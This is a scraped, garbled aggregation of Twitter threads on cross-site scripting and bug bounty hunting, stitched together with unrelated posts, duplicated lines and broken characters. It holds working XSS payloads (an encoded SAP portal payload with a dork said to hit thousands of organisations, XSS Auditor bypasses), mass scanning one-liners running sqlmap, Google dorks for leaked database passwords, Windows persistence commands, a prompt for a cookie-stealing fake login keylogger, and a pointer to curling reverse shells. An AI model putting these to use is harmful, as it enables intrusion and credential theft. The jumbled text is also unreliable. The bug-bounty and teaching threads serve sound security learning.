Discover and read the best of Twitter Threads about #XSS
Most recents (18)
schtasks /create /tn "Task Name" /tr "C:\path\to\program.exe" /sc onstart /ru SYSTEM 
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
XSS PoC - AI Generated:
1. platform.openai.com/codex-javascriโฆ
2. Prompt w/ description
3. Export to JSFiddle
4. Host it
5. Include external script
6. Escalate your alert()
#bugbountytips #infosec #xss #ai #GPT
๐๐งต for Prompt & Code
1. platform.openai.com/codex-javascriโฆ
2. Prompt w/ description
3. Export to JSFiddle
4. Host it
5. Include external script
6. Escalate your alert()
#bugbountytips #infosec #xss #ai #GPT
๐๐งต for Prompt & Code
My prompt:
make a fake login page that's a keylogger and grabs cookies with some styling to make it look like a real login page
make a fake login page that's a keylogger and grabs cookies with some styling to make it look like a real login page
XSS PoC JS
XSSHunter Discord Notifications by @AdamJSturge
adamjsturge.medium.com/easy-xsshunterโฆ #bugbountytips #bugbounty #infosec #hacking #xss
adamjsturge.medium.com/easy-xsshunterโฆ #bugbountytips #bugbounty #infosec #hacking #xss
Follow @AdamJSturge for more hacking automation.
The repo: github.com/adamjsturge/xsโฆ
Introduction to #XSS
Learn the basics of ๐๐ซ๐จ๐ฌ๐ฌ-๐๐ข๐ญ๐ ๐๐๐ซ๐ข๐ฉ๐ญ๐ข๐ง๐ (๐๐๐)
Thread๐งต๐
#bugbounty #bugbountytips #bugbountytip #cybersecurity #cybersecuritytips #infosec #infosecurity #hacking
Learn the basics of ๐๐ซ๐จ๐ฌ๐ฌ-๐๐ข๐ญ๐ ๐๐๐ซ๐ข๐ฉ๐ญ๐ข๐ง๐ (๐๐๐)
Thread๐งต๐
#bugbounty #bugbountytips #bugbountytip #cybersecurity #cybersecuritytips #infosec #infosecurity #hacking
Let's inspect the name first:
The ๐๐๐ซ๐ข๐ฉ๐ญ๐ข๐ง๐ part indicates, obviously, scripting, so we can think about what kind of scripting we know exist in Web Apps: HTML & JavaScript being the 2 most common.
Secondly, XSS is part of the INJECTION bug class (see @owasp's Top 10)
The ๐๐๐ซ๐ข๐ฉ๐ญ๐ข๐ง๐ part indicates, obviously, scripting, so we can think about what kind of scripting we know exist in Web Apps: HTML & JavaScript being the 2 most common.
Secondly, XSS is part of the INJECTION bug class (see @owasp's Top 10)
So, we now know XSS consists of injecting scripts in websites.
Types of XSS:
1. Reflected
2. Stored
3. DOM-based
They can also be Blind too (you don't see the reflection)
As this thread is aimed at beginners, I will focus on the first 2 as they're easier to understand at first
Types of XSS:
1. Reflected
2. Stored
3. DOM-based
They can also be Blind too (you don't see the reflection)
As this thread is aimed at beginners, I will focus on the first 2 as they're easier to understand at first
Another new idea for #PenetrationTesting and #Bug-hunting:
Tester:
Enhance the force of #vulnerabilities by doing things like
I discovered a free #URL that leads somewhere else.
Put this in my report and move on ?
Tester:
Enhance the force of #vulnerabilities by doing things like
I discovered a free #URL that leads somewhere else.
Put this in my report and move on ?
To the contrary, changing the #payload allowed me to transform it into a reflected #XSS #vulnerability. Is this the final question?
Obviously not if I have any hope of carrying on.
Obviously not if I have any hope of carrying on.
Bug Testing Methodology Series:
๐๐๐ (๐๐ซ๐จ๐ฌ๐ฌ ๐๐ข๐ญ๐ ๐๐๐ซ๐ข๐ฉ๐ญ๐ข๐ง๐ )
Learn how to test for #XSS step by step on real #bugbounty programs.
Thread๐งต๐
#cybersecurity #cybersecuritytips #infosec #hacking #bugbountytips #infosecurity
๐๐๐ (๐๐ซ๐จ๐ฌ๐ฌ ๐๐ข๐ญ๐ ๐๐๐ซ๐ข๐ฉ๐ญ๐ข๐ง๐ )
Learn how to test for #XSS step by step on real #bugbounty programs.
Thread๐งต๐
#cybersecurity #cybersecuritytips #infosec #hacking #bugbountytips #infosecurity
Before we start, it should be mentioned that this thread will only focus on the testing methodology of XSS, not teaching how it works.
If you don't already know what XSS is, check this out โก๏ธ portswigger.net/web-security/cโฆ
If you don't already know what XSS is, check this out โก๏ธ portswigger.net/web-security/cโฆ
1๏ธโฃ Look for reflections
This is the first step in finding XSS.
Anywhere you see user input is reflected in the response (not limited to what you see on the page, it could be in source code/HTTP response only), note the location/parameter down, that's a potential attack vector.
This is the first step in finding XSS.
Anywhere you see user input is reflected in the response (not limited to what you see on the page, it could be in source code/HTTP response only), note the location/parameter down, that's a potential attack vector.
1. alert`1`
Use backquotes.
Use backquotes.
If you want to Learn Hacking & Penetration Testing for FREE, read this:
โ Metasploit Unleashed
- Free Offensive Security Metasploit course.
- The Metasploit Unleashed (MSFU) course is provided
free of charge by Offensive Security.
๐
offensive-security.com/metasploit-unlโฆ
- Free Offensive Security Metasploit course.
- The Metasploit Unleashed (MSFU) course is provided
free of charge by Offensive Security.
๐
offensive-security.com/metasploit-unlโฆ
โ MITRE ATT&CKยฎ
- #MITRE's Adversarial Tactics, Techniques & Common
Knowledge (ATT&CK) - Curated knowledge base and
model for cyber adversary behavior.
๐
attack.mitre.org/resources/gettโฆ
- #MITRE's Adversarial Tactics, Techniques & Common
Knowledge (ATT&CK) - Curated knowledge base and
model for cyber adversary behavior.
๐
attack.mitre.org/resources/gettโฆ
How I single-handedly bypassed #OpenSea's backend security model for profit. ๐งต ๐
tl;dr code at github.com/cawfree/openseโฆ
tl;dr code at github.com/cawfree/openseโฆ
For some background, I've been trying to code the upper hand on #NFT marketplaces for a couple of years now:
github.com/cawfree/openseโฆ
github.com/cawfree/openseโฆ
These are some projects that made it, but there's a mountain of failed attempts that lay hidden behind the scenes.
github.com/cawfree/openseโฆ
github.com/cawfree/openseโฆ
These are some projects that made it, but there's a mountain of failed attempts that lay hidden behind the scenes.
I would scrape OpenSea's webpages and extract meaningful content from them.
Since most of the content is lazy-loaded via infinite scrolling, I'd use #puppeteer to scroll through the pages for me.
github.com/puppeteer/puppโฆ
Since most of the content is lazy-loaded via infinite scrolling, I'd use #puppeteer to scroll through the pages for me.
github.com/puppeteer/puppโฆ
Another month has passed so weโre back with the most watched #Angular #meetups from June.
Dive right into internationalization, inject services, smart apps, libraries, providers and much more. Extend your knowledge with the highest-rated #techtalks.
blog.meetupfeed.io/angular-tech-tโฆ
Dive right into internationalization, inject services, smart apps, libraries, providers and much more. Extend your knowledge with the highest-rated #techtalks.
blog.meetupfeed.io/angular-tech-tโฆ
Introduction to Internationalization in Angular via @marktechson
Mark Thompson covers in 15 minutes how to internationalize and localize an #application in #Angular to do exactly what you wish for!
meetupfeed.io/talk/introductโฆ
Mark Thompson covers in 15 minutes how to internationalize and localize an #application in #Angular to do exactly what you wish for!
meetupfeed.io/talk/introductโฆ
New Way to Inject Services in #Angular 14 via @DecodedFrontend
Letโs have a look at some base use cases.
meetupfeed.io/talk/new-way-tโฆ
Letโs have a look at some base use cases.
meetupfeed.io/talk/new-way-tโฆ
Find an easy #XSS that found all-over the internet.
Dork: inurl:"/irj/portal/" > visit the target, remove "/irj/portal/" from the url & add the payload in 2nd tweet. There are thousands of huge orgs with this #XSS, I reported > 150. Thank me later.#BugBountyTips #infosec
Dork: inurl:"/irj/portal/" > visit the target, remove "/irj/portal/" from the url & add the payload in 2nd tweet. There are thousands of huge orgs with this #XSS, I reported > 150. Thank me later.#BugBountyTips #infosec
/SAPIrExtHelp/random/"><SVG ONLOAD%3d%26%2397%26%23108%26%23101%26%23114%26%23116(%26%23x64%26%23x6f%26%23x63%26%23x75%26%23x6d%26%23x65%26%23x6e%26%23x74%26%23x2e%26%23x64%26%23x6f%26%23x6d%26%23x61%26%23x69%26%23x6e)>.asp
#SAP
#SAP
Eg: http://target[.]com/SAPIrExtHelp/random/"><SVG ONLOAD%3d%26%2397%26%23108%26%23101%26%23114%26%23116(%26%23x64%26%23x6f%26%23x63%26%23x75%26%23x6d%26%23x65%26%23x6e%26%23x74%26%23x2e%26%23x64%26%23x6f%26%23x6d%26%23x61%26%23x69%26%23x6e)>.asp if vulnerable boom =>XSS.
#Secret2
Bug Bounty with One-Line Bash Scripts๐ต๐
You can mention your favorite script. I will add them to this thread.
#BugBounty #BugBountyTip
#100BugBountySecrets
๐งต๐๐ป
Bug Bounty with One-Line Bash Scripts๐ต๐
You can mention your favorite script. I will add them to this thread.
#BugBounty #BugBountyTip
#100BugBountySecrets
๐งต๐๐ป
1/ #Secret2
๐ฏ Hunt #XSS:
๐๐ป cat targets.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @
๐๐ป cat targets.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
#BugBounty #BugBountyTip
#100BugBountySecrets
๐งต๐๐ป
๐ฏ Hunt #XSS:
๐๐ป cat targets.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @
๐๐ป cat targets.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
#BugBounty #BugBountyTip
#100BugBountySecrets
๐งต๐๐ป
2/ #Secret2
๐ฏ Hunt #SQLi:
๐๐ปhttpx -l targets.txt -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1'
#BugBounty #BugBountyTip
#100BugBountySecrets
๐งต๐๐ป
๐ฏ Hunt #SQLi:
๐๐ปhttpx -l targets.txt -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1'
#BugBounty #BugBountyTip
#100BugBountySecrets
๐งต๐๐ป
revshells.com
#ctf #reverseshell #revshell #bugbounty #tryhackme #hacktricks #bugtips #rce #netcat #xss #hackerhashtags #cybersecurity #cybersecuritytips
#ctf #reverseshell #revshell #bugbounty #tryhackme #hacktricks #bugtips #rce #netcat #xss #hackerhashtags #cybersecurity #cybersecuritytips
We now have "raw" support, so you can cURL reverse shells onto machines :)
@threadreaderapp unroll
This thread brings together all my #infographics until today (2years of work).
These are all infographics about #infosec ๐
Feel free to share this tweet if you think it may be useful for your #community ๐
Follow me โก @SecurityGuill fore more about #security #hacking #news
These are all infographics about #infosec ๐
Feel free to share this tweet if you think it may be useful for your #community ๐
Follow me โก @SecurityGuill fore more about #security #hacking #news
How does an #Antivirus works?
Quick presentation of the different #Bluetooth Hacking Techniques
Preventing Cross-Site Request Forgery(CSRF) attacks - auth0.com/blog/cross-sitโฆ
#security #websecurity #sec #infosec
#security #websecurity #sec #infosec
what is Cross-Site Request Forgery?
it is a type of attack performed on web apps in order to carry out a malicious action without user's explicit consent.
these 'malicious actions' could be anything. for example: changing email address, personal information etc
#websecurity
it is a type of attack performed on web apps in order to carry out a malicious action without user's explicit consent.
these 'malicious actions' could be anything. for example: changing email address, personal information etc
#websecurity
how it is performed?
* attacker leads the user to perform an action(through email, website etc)
* attacker makes a request on behalf of the user(by using a hidden form, for example)
* vulnerable website sees it as a genuine action(by verifying session cookie)
#CodeNewbie
* attacker leads the user to perform an action(through email, website etc)
* attacker makes a request on behalf of the user(by using a hidden form, for example)
* vulnerable website sees it as a genuine action(by verifying session cookie)
#CodeNewbie
Vamos a usar este tweet para publicar #Dorks de todo tipo, empecemos con este:
inurl:wp-config.php intext:DB_PASSWORD -stackoverflow -wpbeginner -foro -forum -topic -blog -about -docs -articles
#CyberSecurity #dork #BugBounty
inurl:wp-config.php intext:DB_PASSWORD -stackoverflow -wpbeginner -foro -forum -topic -blog -about -docs -articles
#CyberSecurity #dork #BugBounty
intext:"pass" ! "usuario" | "user" | "contraseรฑa" filetype:sql -github
Este es muy bueno, nos permite hacer uploads, ha sido probado con imรกgenes .jpeg
intitle:"FCKeditor - Uploaders Tests"
intitle:"FCKeditor - Uploaders Tests"
Gonna start a series of tweets about current bypasses in #XSS Auditor, 1 per day.
Bypassing Auditor increases dramatically the success of a XSS attack and the impact of such flaws, affecting users of following major browsers:
Chrome, Opera and Safari.
Stay tuned! ๐
Bypassing Auditor increases dramatically the success of a XSS attack and the impact of such flaws, affecting users of following major browsers:
Chrome, Opera and Safari.
Stay tuned! ๐
#XSS Auditor Bypass #1
The easiest one, HTMLi breaking out from script block (it must land where JS syntax is not affected though).
</script><svg><script>alert(1)%0A-->
brutelogic.com.br/xss.php?c1=%3Cโฆ
Notice the source code becomes red flagged (sign of Auditor) but it still executes.
The easiest one, HTMLi breaking out from script block (it must land where JS syntax is not affected though).
</script><svg><script>alert(1)%0A-->
brutelogic.com.br/xss.php?c1=%3Cโฆ
Notice the source code becomes red flagged (sign of Auditor) but it still executes.
#XSS Auditor Bypass #2
In reflections of URL where payload can be included on its path (like in PHP_SELF vulnerability or friendly URLs).
<link rel=import href='./"><svg%20onload=alert(domain)>'>
brutelogic.com.br/xss.php/%22%3Eโฆ
Support to link imports will end soon though.
In reflections of URL where payload can be included on its path (like in PHP_SELF vulnerability or friendly URLs).
<link rel=import href='./"><svg%20onload=alert(domain)>'>
brutelogic.com.br/xss.php/%22%3Eโฆ
Support to link imports will end soon though.
1. I'm tweeting a lot these last days, let make a quick recap
2. @Gioneeglobal, a Chinese phone maker who sell his phone in the US under the name @BLU_Product, made a phone for #NorthKorea. Afaik, they didn't make a public statement.
